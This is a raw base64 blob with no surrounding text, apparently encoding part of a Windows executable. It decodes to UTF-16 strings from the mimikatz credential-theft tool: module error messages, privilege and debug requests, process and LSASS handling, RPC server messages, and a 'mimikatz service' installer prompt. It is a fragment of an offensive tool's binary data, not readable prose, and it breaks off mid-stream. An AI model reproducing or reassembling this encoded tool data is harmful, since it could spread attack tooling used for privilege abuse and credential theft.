AbABvAHcAZQBkAFQAbwBBAGMAdABPAG4AQgBlAGgAYQBsAGYATwBmAE8AdABoAGUAcgBJAGQAZQBuAHQAaQB0AHkAPQAqACkAKABtAHMARABTAC0AQQBsAGwAbwB3AGUAZABUAG8ARABlAGwAZQBnAGEAdABlAFQAbwA9ACoAKQAoAFUAcwBlAHIAQQBjAGMAbwB1AG4AdABDAG8AbgB0AHIAbwBsADoAMQAuADIALgA4ADQAMAAuADEAMQAzADUANQA2AC4AMQAuADQALgA4ADAANAA6AD0AMQA3ADMAMAAxADUAMAA0ACkAKQAoACEAKABVAHMAZQByAEEAYwBjAG8AdQBuAHQAQwBvAG4AdAByAG8AbAA6ADEALgAyAC4AOAA0ADAALgAxADEAMwA1ADUANgAuADEALgA0AC4AOAAwADQAOgA9ADYANwAxADEANwAwADUANgApACkAKAB8ACgAbwBiAGoAZQBjAHQAYwBhAHQAZQBnAG8AcgB5AD0AYwBvAG0AcAB1AHQAZQByACkAKABvAGIAagBlAGMAdABjAGEAdABlAGcAbwByAHkAPQBwAGUAcgBzAG8AbgApACgAbwBiAGoAZQBjAHQAYwBhAHQAZQBnAG8AcgB5AD0AbQBzAEQAUwAtAEcAcgBvAHUAcABNAGEAbgBhAGcAZQBkAFMAZQByAHYAaQBjAGUAQQBjAGMAbwB1AG4AdAApACgAbwBiAGoAZQBjAHQAYwBhAHQAZQBnAG8AcgB5AD0AbQBzAEQAUwAtAE0AYQBuAGEAZwBlAGQAUwBlAHIAdgBpAGMAZQBBAGMAYwBvAHUAbgB0ACkAKQApAAAAZABuAHMAAAAKACAAIAAgACAAJQAqAFMAAAAAAEhUVFAvAAAAIAAqACoAIABOAEEATQBFACAASQBTACAATgBPAFQAIABSAEUARwBJAFMAVABFAFIARQBEACEAIAAqACoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwBkAGUAbABlAGcAIAA7ACAARABuAHMAUQB1AGUAcgB5ADoAIAAlADAAOAB4AAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAGQAZQBsAGUAZwAgADsAIABsAGQAYQBwAF8AcwBlAGEAcgBjAGgAXwBzACAAMAB4ACUAeAAgACgAJQB1ACkACgAAADEAMwA1AAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwBkAGMAbwBtAF8AaQBmACAAOwAgAFMAZQByAHYAZQByAEEAbABpAHYAZQAyADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AZABjAG8AbQBfAGkAZgAgADsAIABSAFAAQwAgAEUAeABjAGUAcAB0AGkAbwBuADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAGQAYwBvAG0AXwBpAGYAIAA7ACAAUgBwAGMAQgBpAG4AZABpAG4AZwBTAGUAdABBAHUAdABoAEkAbgBmAG8AOgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAABkAGUAYgB1AGcAAABBAHMAawAgAGQAZQBiAHUAZwAgAHAAcgBpAHYAaQBsAGUAZwBlAAAAZAByAGkAdgBlAHIAAAAAAEEAcwBrACAAbABvAGEAZAAgAGQAcgBpAHYAZQByACAAcAByAGkAdgBpAGwAZQBnAGUAAABBAHMAawAgAHMAZQBjAHUAcgBpAHQAeQAgAHAAcgBpAHYAaQBsAGUAZwBlAAAAAAB0AGMAYgAAAEEAcwBrACAAdABjAGIAIABwAHIAaQB2AGkAbABlAGcAZQAAAGIAYQBjAGsAdQBwAAAAAABBAHMAawAgAGIAYQBjAGsAdQBwACAAcAByAGkAdgBpAGwAZQBnAGUAAAAAAHIAZQBzAHQAbwByAGUAAABBAHMAawAgAHIAZQBzAHQAbwByAGUAIABwAHIAaQB2AGkAbABlAGcAZQAAAHMAeQBzAGUAbgB2AAAAAAAAAAAAQQBzAGsAIABzAHkAcwB0AGUAbQAgAGUAbgB2AGkAcgBvAG4AbQBlAG4AdAAgAHAAcgBpAHYAaQBsAGUAZwBlAAAAAABBAHMAawAgAGEAIABwAHIAaQB2AGkAbABlAGcAZQAgAGIAeQAgAGkAdABzACAAaQBkAAAAQQBzAGsAIABhACAAcAByAGkAdgBpAGwAZQBnAGUAIABiAHkAIABpAHQAcwAgAG4AYQBtAGUAAABwAHIAaQB2AGkAbABlAGcAZQAAAFAAcgBpAHYAaQBsAGUAZwBlACAAbQBvAGQAdQBsAGUAAAAAAFAAcgBpAHYAaQBsAGUAZwBlACAAJwAlAHUAJwAgAE8ASwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBpAHYAaQBsAGUAZwBlAF8AcwBpAG0AcABsAGUAIAA7ACAAUgB0AGwAQQBkAGoAdQBzAHQAUAByAGkAdgBpAGwAZQBnAGUAIAAoACUAdQApACAAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAGkAdgBpAGwAZQBnAGUAXwBpAGQAIAA7ACAATQBpAHMAcwBpAG4AZwAgACcAaQBkACcACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBpAHYAaQBsAGUAZwBlAF8AbgBhAG0AZQAgADsAIABMAFUASQBEACAAaABpAGcAaAAgAHAAYQByAHQAIABpAHMAIAAlAHUACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAGkAdgBpAGwAZQBnAGUAXwBuAGEAbQBlACAAOwAgAEwAbwBvAGsAdQBwAFAAcgBpAHYAaQBsAGUAZwBlAFYAYQBsAHUAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAaQB2AGkAbABlAGcAZQBfAG4AYQBtAGUAIAA7ACAATQBpAHMAcwBpAG4AZwAgACcAbgBhAG0AZQAnAAoAAABlAHgAcABvAHIAdABzAAAATABpAHMAdAAgAGUAeABwAG8AcgB0AHMAAAAAAGkAbQBwAG8AcgB0AHMAAABMAGkAcwB0ACAAaQBtAHAAbwByAHQAcwAAAAAAcwB0AGEAcgB0AAAAUwB0AGEAcgB0ACAAYQAgAHAAcgBvAGMAZQBzAHMAAABzAHQAbwBwAAAAAABUAGUAcgBtAGkAbgBhAHQAZQAgAGEAIABwAHIAbwBjAGUAcwBzAAAAcwB1AHMAcABlAG4AZAAAAFMAdQBzAHAAZQBuAGQAIABhACAAcAByAG8AYwBlAHMAcwAAAHIAZQBzAHUAbQBlAAAAAABSAGUAcwB1AG0AZQAgAGEAIABwAHIAbwBjAGUAcwBzAAAAAAByAHUAbgAAAFIAdQBuACEAAAAAAHIAdQBuAHAAAAAAAFAAcgBvAGMAZQBzAHMAIABtAG8AZAB1AGwAZQAAAAAAVAByAHkAaQBuAGcAIAB0AG8AIABzAHQAYQByAHQAIAAiACUAcwAiACAAOgAgAAAATwBLACAAIQAgACgAUABJAEQAIAAlAHUAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AcwB0AGEAcgB0ACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGMAcgBlAGEAdABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAE4AdABUAGUAcgBtAGkAbgBhAHQAZQBQAHIAbwBjAGUAcwBzAAAAAABOAHQAUwB1AHMAcABlAG4AZABQAHIAbwBjAGUAcwBzAAAAAABOAHQAUgBlAHMAdQBtAGUAUAByAG8AYwBlAHMAcwAAACUAcwAgAG8AZgAgACUAdQAgAFAASQBEACAAOgAgAE8ASwAgACEACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQBuAGUAcgBpAGMATwBwAGUAcgBhAHQAaQBvAG4AIAA7ACAAJQBzACAAMAB4ACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAG4AZQByAGkAYwBPAHAAZQByAGEAdABpAG8AbgAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAbgBlAHIAaQBjAE8AcABlAHIAYQB0AGkAbwBuACAAOwAgAHAAaQBkACAAKAAvAHAAaQBkADoAMQAyADMAKQAgAGkAcwAgAG0AaQBzAHMAaQBuAGcAAAAlAHUACQAlAHcAWgAAAAAAIAAoAAAAAAApAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AYwBhAGwAbABiAGEAYwBrAFAAcgBvAGMAZQBzAHMAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBjAGEAbABsAGIAYQBjAGsAUAByAG8AYwBlAHMAcwAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AbwBwAGUAbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAACgAlAHcAWgAAAAAACgAJACUAcAAgAC0APgAgACUAdQAAAAAACQAlAHUAAAAJACAAAAAAAAkAJQBwAAAACQAlAFMAAAAJAC0APgAgACUAUwAAAAAACgAJACUAcAAgAC0APgAgACUAcAAJACUAUwAgACEAIAAAAAAAIwAlAHUAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwByAHUAbgBfAGQAYQB0AGEAIAA7ACAAQwByAGUAYQB0AGUAUAByAG8AYwBlAHMAcwBBAHMAVQBzAGUAcgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAHIAdQBuAF8AZABhAHQAYQAgADsAIABDAHIAZQBhAHQAZQBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAQgBsAG8AYwBrACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFQAcgB5AGkAbgBnACAAdABvACAAcwB0AGEAcgB0ACAAIgAlAHMAIgAuAC4ALgAKAAAAAABwAHAAaQBkAAAAAAAAAAAAWwBwAGkAZABdACAAbgBvACAAYQByAGcAdQBtAGUAbgB0ACwAIABkAGUAZgBhAHUAbAB0ACAAZgBvAHIAIABMAFMAQQBTAFMACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwByAHUAbgBQAGEAcgBlAG4AdAAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAGYAaQBuAGQAIABMAFMAQQBTAFMACgAAAAAAUgB1AG4AIAA6ACAAJQBzAAoAUABQAEkARAA6ACAAJQB1AAoAAAAAAEluaXRpYWxpemVQcm9jVGhyZWFkQXR0cmlidXRlTGlzdAAAAFVwZGF0ZVByb2NUaHJlYWRBdHRyaWJ1dGUAAABEZWxldGVQcm9jVGhyZWFkQXR0cmlidXRlTGlzdAAAAFAASQBEADoAIAAlAHUAIAAtACAAVABJAEQAOgAgACUAdQAKAAAAAAB0AG8AawBlAG4AAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AcgB1AG4AUABhAHIAZQBuAHQAIAA7ACAAQwByAGUAYQB0AGUAUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AcgB1AG4AUABhAHIAZQBuAHQAIAA7ACAAcABVAHAAZABhAHQAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwByAHUAbgBQAGEAcgBlAG4AdAAgADsAIABwAEkAbgBpAHQAKABkAGEAdABhACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AcgB1AG4AUABhAHIAZQBuAHQAIAA7ACAAcABJAG4AaQB0ACgAaQBuAGkAdAApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAHIAdQBuAFAAYQByAGUAbgB0ACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwByAHUAbgBQAGEAcgBlAG4AdAAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAGcAZQB0ACAAZgB1AG4AYwB0AGkAbwBuACAAcABvAGkAbgB0AGUAcgBzADoAIABwAEkAbgBpAHQAIAAlAHAAIAA7ACAAcABVAHAAZABhAHQAZQAgACUAcAAgADsAIABwAEQAZQBsACAAJQBwAAoAAAAAAHYAZQByAHMAaQBvAG4AAAByAGQAbQAAAFIARgAgAG0AbwBkAHUAbABlACAAZgBvAHIAIABSAEQATQAoADgAMwAwACAAQQBMACkAIABkAGUAdgBpAGMAZQAAAAAAWwAlADMAdQBdACAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHIAZABtAF8AdgBlAHIAcwBpAG8AbgAgADsAIABOAG8AIABkAGUAdgBpAGMAZQAgAGYAbwB1AG4AZAAKAAAACgBbACUAMwB1AF0AIAAlAHMACgAgACAAVgBlAG4AZABvAHIAOgAgADAAeAAlADAANAB4ACwAIABQAHIAbwBkAHUAYwB0ADoAIAAwAHgAJQAwADQ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AcgBpAHQAeQAgAHAAYQBjAGsAYQBnAGUAIABzAHAAZQBjAGkAZgBpAGMAIABlAHIAcgBvAHIAIABvAGMAYwB1AHIAcgBlAGQAIAAoAEsAZQByAGIAZQByAG8AcwAgAG0AdQB0AHUAYQBsACAAYQB1AHQAaAAgAG4AbwB0ACAAYQB2AGEAaQBsAGEAYgBsAGUAPwApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHIAcABjAF8AZABvACAAOwAgAFQAaABlACAAYQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuACAAcwBlAHIAdgBpAGMAZQAgAGkAcwAgAHUAbgBrAG4AbwB3AG4ACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcgBwAGMAXwBkAG8AIAA7ACAAUgBQAEMAIABTAGUAcgB2AGUAcgAgAHUAbgBhAHYAYQBpAGwAYQBiAGwAZQAhAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcgBwAGMAXwBkAG8AIAA7ACAAUgBQAEMAIABFAHgAYwBlAHAAdABpAG8AbgA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwByAHAAYwBfAGQAbwAgADsAIABrAHUAbABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZABoAF8AcwBpAG0AcABsAGUARQBuAGMAcgB5AHAAdAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHIAcABjAF8AZABvACAAOwAgAE4AbwAgAFIAUABDAF8AQgBJAE4ARABJAE4ARwBfAEgAQQBOAEQATABFACAAKABjAG8AbgBuAGUAYwB0ACAAZgBpAHIAcwB0AD8AKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcgBwAGMAXwBjAGwAbwBzAGUAIAA7ACAAQQAgAHMAZQBjAHUAcgBpAHQAeQAgAHAAYQBjAGsAYQBnAGUAIABzAHAAZQBjAGkAZgBpAGMAIABlAHIAcgBvAHIAIABvAGMAYwB1AHIAcgBlAGQAIAAoAEsAZQByAGIAZQByAG8AcwAgAG0AdQB0AHUAYQBsACAAYQB1AHQAaAAgAG4AbwB0ACAAYQB2AGEAaQBsAGEAYgBsAGUAPwApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcgBwAGMAXwBjAGwAbwBzAGUAIAA7ACAAVABoAGUAIABhAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AIABzAGUAcgB2AGkAYwBlACAAaQBzACAAdQBuAGsAbgBvAHcAbgAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwByAHAAYwBfAGMAbABvAHMAZQAgADsAIABSAFAAQwAgAFMAZQByAHYAZQByACAAdQBuAGEAdgBhAGkAbABhAGIAbABlACEACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHIAcABjAF8AYwBsAG8AcwBlACAAOwAgAFIAUABDACAARQB4AGMAZQBwAHQAaQBvAG4AOgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAABVAFUASQBEADoAIAAAAAAACQAlAHMAAAAJACUAcwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHIAcABjAF8AZQBuAHUAbQAgADsAIABSAHAAYwBCAGkAbgBkAGkAbgBnAFQAbwBTAHQAcgBpAG4AZwBCAGkAbgBkAGkAbgBnADoAIAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHIAcABjAF8AZQBuAHUAbQAgADsAIABSAHAAYwBNAGcAbQB0AEUAcABFAGwAdABJAG4AcQBOAGUAeAB0ADoAIAAlADAAOAB4ACwAIABtAGEAeQBiAGUAIAByAGUAYQBsAGwAeQAgAG4AbwAgAEUAUAAsACAAbQBhAHkAYgBlACAAbgBlAHQAdwBvAHIAawAgAHAAcgBvAGIAbABlAG0ACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHIAcABjAF8AZQBuAHUAbQAgADsAIABSAHAAYwBNAGcAbQB0AEUAcABFAGwAdABJAG4AcQBOAGUAeAB0ADoAIAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcgBwAGMAXwBlAG4AdQBtACAAOwAgAFIAcABjAE0AZwBtAHQARQBwAEUAbAB0AEkAbgBxAEQAbwBuAGUAOgAgACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwByAHAAYwBfAGUAbgB1AG0AIAA7ACAAUgBwAGMATQBnAG0AdABFAHAARQBsAHQASQBuAHEAQgBlAGcAaQBuADoAIAAlADAAOAB4AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHIAcABjAF8AcwBlAHIAdgBlAHIAXwBzAHQAYQByAHQAIAA7ACAAUgBwAGMAQgBpAG4AZABpAG4AZwBUAG8AUwB0AHIAaQBuAGcAQgBpAG4AZABpAG4AZwA6ACAAJQAwADgAeAAKAAAAAABtAGkAbQBpAGsAYQB0AHoAIABSAFAAQwAgAGMAbwBtAG0AdQBuAGkAYwBhAHQAbwByAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwByAHAAYwBfAHMAZQByAHYAZQByAF8AcwB0AGEAcgB0ACAAOwAgAFIAcABjAEUAcABSAGUAZwBpAHMAdABlAHIAOgAgACUAMAA4AHgACgAAAAAAAAAAACAAPgAgAFIAUABDACAAUwBlAHIAdgBlAHIAIABpAHMAIAB3AGEAaQB0AGkAbgBnACEACgAKAG0AaQBtAGkAawBhAHQAegAgACMAIAAAAAAAIAA+ACAAUgBQAEMAIABTAGUAcgB2AGUAcgAgAHMAdABvAHAAcABlAGQACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwByAHAAYwBfAHMAZQByAHYAZQByAF8AcwB0AGEAcgB0ACAAOwAgAFIAcABjAEUAcABVAG4AcgBlAGcAaQBzAHQAZQByADoAIAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcgBwAGMAXwBzAGUAcgB2AGUAcgBfAHMAdABhAHIAdAAgADsAIABSAHAAYwBTAGUAcgB2AGUAcgBJAG4AcQBCAGkAbgBkAGkAbgBnAHMAOgAgACUAMAA4AHgACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcgBwAGMAXwBzAGUAcgB2AGUAcgBfAHMAdABhAHIAdAAgADsAIABSAHAAYwBTAGUAcgB2AGUAcgBVAG4AcgBlAGcAaQBzAHQAZQByAEkAZgA6ACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwByAHAAYwBfAHMAZQByAHYAZQByAF8AcwB0AGEAcgB0ACAAOwAgAFIAcABjAFMAZQByAHYAZQByAFIAZQBnAGkAcwB0AGUAcgBJAGYAMgA6ACAAJQAwADgAeAAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwByAHAAYwBfAHMAZQByAHYAZQByAF8AcwB0AGEAcgB0ACAAOwAgAFIAcABjAFMAZQByAHYAZQByAFIAZQBnAGkAcwB0AGUAcgBBAHUAdABoAEkAbgBmAG8AOgAgACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcgBwAGMAXwBzAGUAcgB2AGUAcgBfAHMAdABhAHIAdAAgADsAIABSAHAAYwBTAGUAcgB2AGUAcgBVAHMAZQBQAHIAbwB0AHMAZQBxAEUAcAA6ACAAJQAwADgAeAAKAAAAAABuAG8AcgBlAGcAAABNAGEAcAAgAFIAZQBnAC4AOgAgACUAcwAKAAAAcwBlAGMAdQByAGUAAAAAAFMAZQBjAHUAcgBlACAAbwBuAGwAeQAAAEEAbABsAG8AdwAgAG4AbwAgAGEAdQB0AGgAAABTAGUAYwB1AHIAaQB0AHkAOgAgACUAcwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcgBwAGMAXwBzAGUAcgB2AGUAcgAgADsAIABSAHAAYwBNAGcAbQB0AFMAdABvAHAAUwBlAHIAdgBlAHIATABpAHMAdABlAG4AaQBuAGcAOgAgACUAMAA4AHgACgAAAGEAbABnAAAAQQBsAGcAbwByAGkAdABoAG0AOgAgACUAcwAgACgAJQAwADgAeAApAAoAAABFAG4AZABwAG8AaQBuAHQAIAByAGUAcwBvAGwAdQB0AGkAbwBuACAAaQBzACAATwBLAAoAAAAAAG0AaQBtAGkAawBhAHQAegAgAGkAcwAgAGIAbwB1AG4AZAAhAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwByAHAAYwBfAGMAbwBuAG4AZQBjAHQAIAA7ACAAawB1AGwAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGQAaABfAEMAcgBlAGEAdABlAFMAZQBzAHMAaQBvAG4ASwBlAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwByAHAAYwBfAGMAbwBuAG4AZQBjAHQAIAA7ACAAQwBMAEkAXwBNAGkAbQBpAEIAaQBuAGQAOgAgACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwByAHAAYwBfAGMAbwBuAG4AZQBjAHQAIAA7ACAAQQAgAHMAZQBjAHUAcgBpAHQAeQAgAHAAYQBjAGsAYQBnAGUAIABzAHAAZQBjAGkAZgBpAGMAIABlAHIAcgBvAHIAIABvAGMAYwB1AHIAcgBlAGQAIAAoAEsAZQByAGIAZQByAG8AcwAgAG0AdQB0AHUAYQBsACAAYQB1AHQAaAAgAG4AbwB0ACAAYQB2AGEAaQBsAGEAYgBsAGUAPwApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHIAcABjAF8AYwBvAG4AbgBlAGMAdAAgADsAIABUAGgAZQAgAGEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgAgAHMAZQByAHYAaQBjAGUAIABpAHMAIAB1AG4AawBuAG8AdwBuAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwByAHAAYwBfAGMAbwBuAG4AZQBjAHQAIAA7ACAAUgBQAEMAIABTAGUAcgB2AGUAcgAgAHUAbgBhAHYAYQBpAGwAYQBiAGwAZQAhAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHIAcABjAF8AYwBvAG4AbgBlAGMAdAAgADsAIABSAFAAQwAgAEUAeABjAGUAcAB0AGkAbwBuADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwByAHAAYwBfAGMAbwBuAG4AZQBjAHQAIAA7ACAAawB1AGwAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGQAaABfAEMAcgBlAGEAdABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHIAcABjAF8AYwBvAG4AbgBlAGMAdAAgADsAIABFAG4AZABwAG8AaQBuAHQAIABpAHMAIABuAG8AdAAgAHIAZQBnAGkAcwB0AGUAcgBlAGQAIQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwByAHAAYwBfAGMAbwBuAG4AZQBjAHQAIAA7ACAAUgBwAGMARQBwAFIAZQBzAG8AbAB2AGUAQgBpAG4AZABpAG4AZwA6ACAAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcgBwAGMAXwBjAG8AbgBuAGUAYwB0ACAAOwAgAEEAbAByAGUAYQBkAHkAIABiAG8AdQBuAGQALAAgAGQAaQBzAGMAbwBuAG4AZQBjAHQAIABmAGkAcgBzAHQAIQAKAAAAAAAKAAoAbQBpAG0AaQBrAGEAdAB6ACgAcgBwAGMAKQA6ACAAJQBzAAoAAAAAAFMAdABhAHIAdAAgAHMAZQByAHYAaQBjAGUAAABSAGUAbQBvAHYAZQAgAHMAZQByAHYAaQBjAGUAAAAAAFMAdABvAHAAIABzAGUAcgB2AGkAYwBlAAAAAABTAHUAcwBwAGUAbgBkACAAcwBlAHIAdgBpAGMAZQAAAFIAZQBzAHUAbQBlACAAcwBlAHIAdgBpAGMAZQAAAAAAcAByAGUAcwBoAHUAdABkAG8AdwBuAAAAUAByAGUAcwBoAHUAdABkAG8AdwBuACAAcwBlAHIAdgBpAGMAZQAAAHMAaAB1AHQAZABvAHcAbgAAAAAAUwBoAHUAdABkAG8AdwBuACAAcwBlAHIAdgBpAGMAZQAAAAAATABpAHMAdAAgAHMAZQByAHYAaQBjAGUAcwAAAEkAbgBzAHQAYQBsAGwAIABNAGUAIQAAAG0AZQAAAAAATQBlACEAAABTAGUAcgB2AGkAYwBlACAAbQBvAGQAdQBsAGUAAAAAACUAcwAgACcAJQBzACcAIABzAGUAcgB2AGkAYwBlACAAOgAgAAAAAAAAAAAARQBSAFIATwBSACAAZwBlAG4AZQByAGkAYwBGAHUAbgBjAHQAaQBvAG4AIAA7ACAAUwBlAHIAdgBpAGMAZQAgAG8AcABlAHIAYQB0AGkAbwBuACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABnAGUAbgBlAHIAaQBjAEYAdQBuAGMAdABpAG8AbgAgADsAIABNAGkAcwBzAGkAbgBnACAAcwBlAHIAdgBpAGMAZQAgAG4AYQBtAGUAIABhAHIAZwB1AG0AZQBuAHQACgAAAAAAUwB0AGEAcgB0AGkAbgBnAAAAAABSAGUAbQBvAHYAaQBuAGcAAAAAAFMAdABvAHAAcABpAG4AZwAAAAAAUwB1AHMAcABlAG4AZABpAG4AZwAAAAAAUgBlAHMAdQBtAGkAbgBnAAAAAABQAHIAZQBzAGgAdQB0AGQAbwB3AG4AAABTAGgAdQB0AGQAbwB3AG4AAAAAACIAAAAiACAAAAAAAG0AaQBtAGkAawBhAHQAegAgAHMAZQByAHYAaQBjAGUAIAAoAG0AaQBtAGkAawBhAHQAegBzAHYAYwApAAAAAABtAGkAbQBpAGsAYQB0AHoAcwB2AGMAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQByAHYAaQBjAGUAXwBpAG4AcwB0AGEAbABsAG0AZQAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwBpAHMARgBpAGwAZQBFAHgAaQBzAHQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AaQBuAHMAdABhAGwAbABtAGUAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AZwBlAHQAQQBiAHMAbwBsAHUAdABlAFAAYQB0AGgATwBmACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAGwAbwBvAGsAdQBwAAAAAABOAGEAbQBlACAAbwByACAAUwBJAEQAIABsAG8AbwBrAHUAcAAAAAAAcQB1AGUAcgB5AAAAUQB1AGUAcgB5ACAAbwBiAGoAZQBjAHQAIABiAHkAIABTAEkARAAgAG8AcgAgAG4AYQBtAGUAAABTAGUAYwB1AHIAaQB0AHkAIABJAGQAZQBuAHQAaQBmAGkAZQByAHMAIABtAG8AZAB1AGwAZQAAAFMASQBEACAAIAAgADoAIAAlAHMAC